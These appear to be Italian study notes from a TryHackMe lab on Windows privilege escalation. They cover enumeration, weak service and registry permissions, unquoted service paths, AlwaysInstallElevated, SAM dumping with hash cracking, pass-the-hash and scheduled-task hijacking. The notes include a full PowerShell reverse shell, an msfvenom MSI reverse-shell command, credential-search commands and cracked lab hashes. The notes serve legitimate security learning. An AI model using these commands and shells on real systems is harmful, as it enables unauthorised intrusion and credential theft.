Escalation dei privilegi di Windows

La stanza consigliata è https://tryhackme.com/room/windows10privesc, ma puoi usare qualsiasi cosa preferisci.
Alcune risorse,

Tipi di account nelle macchine Windows:

Administrator (locale): è l'utente con il maggior numero di privilegi.
Standard (locale): questi utenti possono accedere al computer ma possono eseguire solo attività limitate. In genere non possono apportare modifiche permanenti o essenziali al sistema.
Guest: questo account consente l'accesso al sistema ma non è definito come utente.
Standard (dominio): Active Directory consente alle organizzazioni di gestire gli account utente. Un account di dominio standard può avere privilegi di amministratore locale.
Administrator (dominio): può essere considerato l'utente con maggiori privilegi. Può modificare, creare ed eliminare altri utenti nel dominio dell'organizzazione.
SYSTEM : non è propriamente un account, ma i servizi Windows utilizzano questo account per svolgere i propri compiti; anche questo account, però, ha privilegi più elevati.

Un punto importante da notare sono i gruppi: qualsiasi utente del gruppo Administrator ci aiuta a fare escalation!

Raccolta di informazioni:

Una delle migliori risorse: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

whoami /priv - privilegi dell'utente corrente
net users - elenca tutti gli utenti
net user <username> - elenca i dettagli di un utente specifico
qwinsta - altri utenti connessi contemporaneamente
net localgroup - gruppi disponibili nel sistema
net localgroup <group-name> - elenca i membri di un gruppo specifico
systeminfo - fornisce tutte le informazioni sul sistema operativo
hostname - nome host del sistema
findstr /si password *.txt - cerchiamo i file che contengono 'password' e per di più nei file di testo
wmic qfe get Caption,Description,HotFixID,InstalledOn - fornisce informazioni sulle patch di sicurezza e relative informazioni
netstat -ano - connessioni associate alla macchina

Windows Exploit Suggester:

È uno strumento leggendario che la maggior parte delle persone usa
Possiamo risolvere il 60% delle macchine su internet usando questo strumento
Link: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Basta avere una copia dell'output del comando systeminfo sulla tua macchina: questo è l'unico requisito per questo strumento
Consiglio: assicurati che tutte le dipendenze siano soddisfatte!

Software vulnerabile:

Qui cercheremo di trovare la versione del software installato e verificare se è vulnerabile o meno
wmic product get name,version,vendor - fornisce nome, versione e vendor del prodotto. Questo comando in particolare dà una visualizzazione chiara di ciò che ci serve.
A volte il comando precedente potrebbe non funzionare, quindi usa wmic service list brief | findstr "Running" e per ottenere maggiori informazioni sul servizio usa sc qc <ServiceName>

Escalation dei privilegi tramite Metasploit:

Dopo aver ottenuto una sessione in Metasploit, esegui un modulo chiamato post/multi/recon/local_exploit_suggester; assicurati che la tua sessione sia in background così che questo strumento funzioni correttamente, oppure puoi semplicemente caricarlo da meterpreter.
Poi suggerirà alcuni moduli che possono essere sfruttati, quindi provali e alcuni potrebbero funzionare (facoltativo).

WinPEAS:

È uno script di enumerazione automatizzata molto utile.
Per un uso ottimale, controlla tutte le opzioni eseguendo winpeas.exe --help
Esegui solo le opzioni necessarie e regola l'output.

Exploit del kernel:

Usa questo particolare strumento chiamato Windows Exploit Suggester
Per prima cosa ottieni le informazioni di sistema eseguendo il comando systeminfo, copiale in un file e dagli un'estensione .txt
Ora esegui lo strumento usando il database
Qui cerca gli exploit relativi al kernel.
Buon hacking!!

Exploit dei servizi:

Permessi di servizio non sicuri:

Qui cercheremo di identificare i servizi con permessi non sicuri e poi proveremo a sfruttarli.
Qui possiamo usare il comando winpeas.exe servicesinfo e vedere i servizi che sono piuttosto utili
Una parte interessante dell'output è questa,```

daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

- Ma per ottenere maggiori informazioni possiamo usare uno strumento chiamato **accesschk** di Microsoft, eseguirlo come segue `accesschk.exe /accepteula -uwcqv <current-user> <service>`, l'output è,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

Ma la parte principale è service_change_config, dove possiamo modificare la configurazione del servizio.
Esegui sc qc <service> e poi prendi nota del Binary_path_name (può anche essere chiamato binpath), che andremo a modificare (sorriso malvagio)
Ora crea un payload di tipo shell e trasferiscilo sulla macchina target
Sintassi per modificare la configurazione: sc config <service> <option>="<value>"
Ora sc config daclsvc binpath="<path>" e poi avvia il servizio sc start daclsvc

Percorso del servizio senza virgolette: (USP)

Per i servizi, il percorso deve essere racchiuso tra virgolette; se non è racchiuso in tal modo, possiamo sfruttare questa falla e ottenere privilegi elevati.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

- Per ottenere più informazioni basta usare lo script **WinPEAS** con l'opzione `servicesinfo`, qui possiamo vedere informazioni se possiamo sfruttare un **Unquoted Service Path**, Qui ho eseguito lo strumento e la parte interessante dell'output è questa,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected

L'output qui specifica chiaramente che Nessuna virgoletta e spazio rilevati, quindi possiamo concludere che possiamo sfruttare questo particolare servizio usando USP
E per raccogliere maggiori informazioni sul servizio usa sc qc <service>
Ora controlliamo i permessi per questa posizione specifica C:\Program Files\Unquoted Path Service usando accesschk, quindi esegui accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Output:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators

- Abbiamo il permesso di lettura e scrittura.
- Ora creeremo un payload e lo incolleremo in `C:\Program Files\Unquoted Path Service`, tramite `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`, qui lo sto nominando con un nome diverso che offre anche un vantaggio per quanto riguarda l'ordine alfabetico.
- Ora avviamo il servizio, `sc start unquotedsvc`, siamo admin!!!

-----------------------
### Permessi di registro deboli:
- Qui proveremo a sfruttare i servizi con permessi di registro deboli.
- per cercarli dobbiamo usare `Winpeas` con l'opzione `servicesinfo`. L'output è simile a questo```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

Ora andiamo al nome del servizio che è regsvc, quindi approfondiamo questo servizio, esegui sc qc regsvc e l'output è,``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

- Un fatto interessante è che il percorso è tra virgolette, quindi niente **Unquoted Service Path**.
- Ora eseguiamo `accesschk.exe` e approfondiamo, quindi esegui `accesschk /acceptula -uvwqk <path of registry>` (che è `HKLM\system\currentcontrolset\services\regsvc`)
- Cerca `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` nell'output e ora siamo pronti per sfruttare.
- Ora vediamo le opzioni all'interno del registro usando `reg query HKLM\system\currentcontrolset\services\regsvc` e ho trovato un'opzione chiamata `ImagePath` che accetta un valore eseguibile, quindi sfruttiamola. Prima di tutto crea una reverse-shell.
- Ora esegui `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, scegli il percorso del payload in base alle tue esigenze.
- Ora avvia il servizio con `net start regsvc` ed evviva! Ho ottenuto la shell.

-----------------------
### Eseguibili di servizio insicuri:
- Qui i permessi sui file di un servizio sono accessibili a tutti! Proviamo a cambiare l'eseguibile del servizio e siamo a posto!
- Eseguiamo **Winpeas** specificamente con il modulo **servicesinfo** e vediamo qualcosa di interessante; l'output è,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

Everyone have access to the file for the service filepermsvc, so we'll create a payload a reverse_shell and replace that with the executable of the service and we'll obtain shell.
This is kind of easy compared to above.

Registry

Here we make use of Registry to find out info and we'll try to exploit!
We're juect checking the features which we can abuse

Autoruns:

Autoruns is a feature in Windows to start few services or application during startup, for example "greenshot"
We can check them manually by running reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - this will display autorun programs and their paths.
The output is,``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"

- Abbiamo 2 programmi con percorso, quindi testiamo.
- Ora eseguiremo **accesscheck** per vedere quali permessi sono disponibili per il percorso di questi autorun
- Basta eseguire `accesschk.exe \accepteula -wvu "<path>"`: l'ho eseguito per il percorso dell'autorun di **My Program** e l'output indicava `FILE_ALL_ACCESS`, quindi possiamo letteralmente fare qualsiasi cosa in questa cartella. Principalmente possiamo sostituire l'eseguibile originale e riavviare il sistema per ottenere una shell.
- Ora dobbiamo aspettare il login dell'amministratore e otterremo la shell come utente privilegiato!
- Il problema è che dobbiamo aspettare che l'amministratore/proprietario acceda, altrimenti siamo a posto!

------------------------------
### AlwaysInstallElevated
- Consente all'utente standard di installare **msi**(Microsoft Installer) con privilegi amministrativi.
- Questo è comodo e facile per ottenere privilegi più elevati,
- Possiamo verificarlo eseguendo,
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` e
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Esegui entrambi i comandi e il valore per **AlwaysInstallElevated** deve essere 1 o 0x1. Così possiamo confermare e procedere.
- Ora crea una reverse shell in formato **msi**; per riferimento controlla il comando qui sotto,
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Ora trasferiscilo sulla macchina Windows ed esegui il comando,
`msiexec /quiet /qn /i reverse.msi`
- Evviva! Abbiamo ottenuto la shell come `nt authority\system`

------------------
-------------------
## Password:
- Qui cerchiamo credenziali nel registro, nei file...ecc
- E proveremo ad accedere!

----------------------
### Cercare password nel Registry:
- Possiamo cercare password nel registro; a volte possiamo trovare le password di altri utenti o persino la password del proprietario.
- Esegui `reg query HKLM /f password /t REG_SZ /s`: questo restituisce tutti i dettagli nel registro che contengono la stringa **password**; cerca e potresti trovarla! Ma la parte triste è che non sono riuscito a ottenerne nessuna!
- Esegui anche `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`, potremmo trovare qualche informazione.
- Possiamo anche usare il nostro leggendario strumento **winPEAS** con alcune opzioni come `windowscreds` - cerca credenziali, e anche `filesinfo` - esamina file e registro per dati utili (a volte anche password)
- Dopo aver ottenuto la password, qui è `password123`, quindi ora accediamo con l'aiuto di **psexec** (link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) e la sintassi è `python3 psexec.py [email protected]`; poi ti chiederà la password, inseriscila e otterremo l'accesso come admin!

-------------------------
### Password : Savedcreds
- Prima di tutto esegui `cmdkey /list`; qui **cmdkey** è un'applicazione di Windows Server che *crea, elenca e elimina nomi utente e password o credenziali salvati*. Eseguendolo possiamo vedere tutte le credenziali degli utenti salvate!
- L'output è,```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin

Possiamo vedere l'utente admin, quindi usiamo l'utility runas. Consente a un utente di eseguire strumenti e programmi specifici con permessi diversi rispetto a quelli forniti dal logon corrente dell'utente.
Eseguiamo runas /savecred /user:admin C:\Temp\reverse.exe, questo ci darà i privilegi di amministratore

Password: SAM(Security Accounts manager)

SAM contiene gli hash NTLM delle password di Windows; abbiamo la possibilità di craccarli, ma questo potrebbe non essere sempre utile perché abbiamo a che fare con hash!
Ma conoscere il metodo aiuta sicuramente.
E nel 99% dei casi il file SAM non può essere accessibile con privilegi normali, ma qui nella macchina l'autore ha creato una copia del file SAM nella directory C:\Windows\Repair, così possiamo giocarci! In quella directory ci sono 2 file, ovvero SAM e SYSTEM
Dobbiamo ottenere entrambi i file per poterli usare con uno strumento chiamato creddump7(https://github.com/CiscoCXSecurity/creddump7). Li ho ottenuti con l'aiuto del comando download di meterpreter
Ora, dopo aver clonato, esegui il seguente comando python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM che mostrerà gli hash degli utenti disponibili nella macchina Windows. L'output è,``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::

- Ora salva il contenuto precedente in un file di testo e craccalo con l'aiuto di **JohnTheRipper**; la sintassi è `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, ed è stato craccato!```
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)

Password: attacco Pass the hash

Supponiamo di non riuscire a craccare l'hash perché non è nella wordlist, allora possiamo usare questo attacco Pass the hash, che ci permette di autenticarci con l'aiuto dell'hash!
Quindi ottieni l'hash, qui accediamo come admin il cui hash è a9fdfa038c4b75ebc76dc855dd74f0da
Prima esporta, export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da qui stiamo usando anche l'hash con il groupid
Poi esegui pth-winexe -U admin% //10.10.213.97 cmd.exe, ho ottenuto una shell come admin
Il tool pth-winexe è già disponibile in Kali.
Se sei bloccato controlla questo: https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html

Sfruttare le attività pianificate:

Come in Linux, ci sono attività pianificate anche in Windows.
Per visualizzare tutte le attività pianificate esegui schtasks /query /fo LIST /V
Qui CleanUp.ps1 sembra interessante e il percorso è C:\DevTools\CleanUp.ps1
Quindi vediamo cosa possiamo fare in questa posizione e anche su quel file, accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 e abbiamo tutti i privilegi di lettura, scrittura... ecc.
Il processo nella descrizione dell'attività è un po' diverso, quindi ho cercato una powershell-reverseshell, che è,``` $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

- Poi ho trasferito e rinominato come `CleanUp.ps1` e ho ottenuto la connessione.

--------------------
---------------------
## App GUI non sicure:
- Dopo aver ottenuto la connessione RDP, apri `Taskmanager` e nella scheda `Details` possiamo vedere le applicazioni e l'utente che le sta eseguendo.
- Qui hanno configurato intenzionalmente `mspaint.exe` per essere eseguito come admin, quindi questo sarà il nostro bersaglio.
- Dato che lavoriamo con **Paint**, avremo un'opzione per aprire i file, quindi apriremo `file://c:/windows/system32/cmd.exe` e boom! Otteniamo la shell come utente **admin**!
- Qui la funzionalità è un po' limitata perché potremmo non ottenere sempre una connessione RDP.

-----------------------
----------------------
## App di avvio:
- Windows ha una funzionalità che consente ad alcune app di essere eseguite all'avvio; possiamo abusare di questa funzionalità.
- Le app di avvio si trovano in `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, questo è il percorso predefinito.
- Vediamo cosa possiamo fare tramite **accesschk.exe**, quindi esegui `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. L'output è,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone

Qui c'è uno script chiamato CreateShortcut.vbs che viene eseguito con privilegi di amministratore e il cui scopo principale è creare un collegamento per la reverse-shell che abbiamo caricato.
Trasferisci il payload ed esegui lo script; ora dobbiamo attendere che l'amministratore acceda e poi otterremo la shell.
Questo è raro e la probabilità di sfruttare questa via è bassa.

Impersonazione dei token:

I token sono come i cookie per il computer; il vantaggio è che non dobbiamo inserire le credenziali ogni volta per connetterci a qualsiasi rete... ecc.
Ci sono 2 tipi di token,

Token di delega: creato per accedere a una macchina o per usare una RDP
Token di impersonificazione: non interattivo, usato per connettere un'unità di rete o uno script di accesso al dominio.

Possiamo vedere tutti i token eseguendo list_tokens -u nella sessione di meterpreter; dopo aver trovato un token interessante, esegui impersonate_token <name of token>
Possiamo anche eseguire whomai /priv e vedere i privilegi dell'utente corrente; lì, se troviamo un privilegio come SeAssignPrimaryToken... ecc., che sono piuttosto pericolosi, è davvero pericoloso! Per saperne di più su questi privilegi e su come sfruttarli, consulta questo articolo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges

Attacchi Potato:

La guida per questi attacchi è: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
E il payload che possiamo usare è: https://github.com/ohpe/juicy-potato
Qui proviamo a ottenere un accesso come NT Authority/System [Ancora in corso.....]

Più Popolari

Windows-Privilege-Escalation-Notes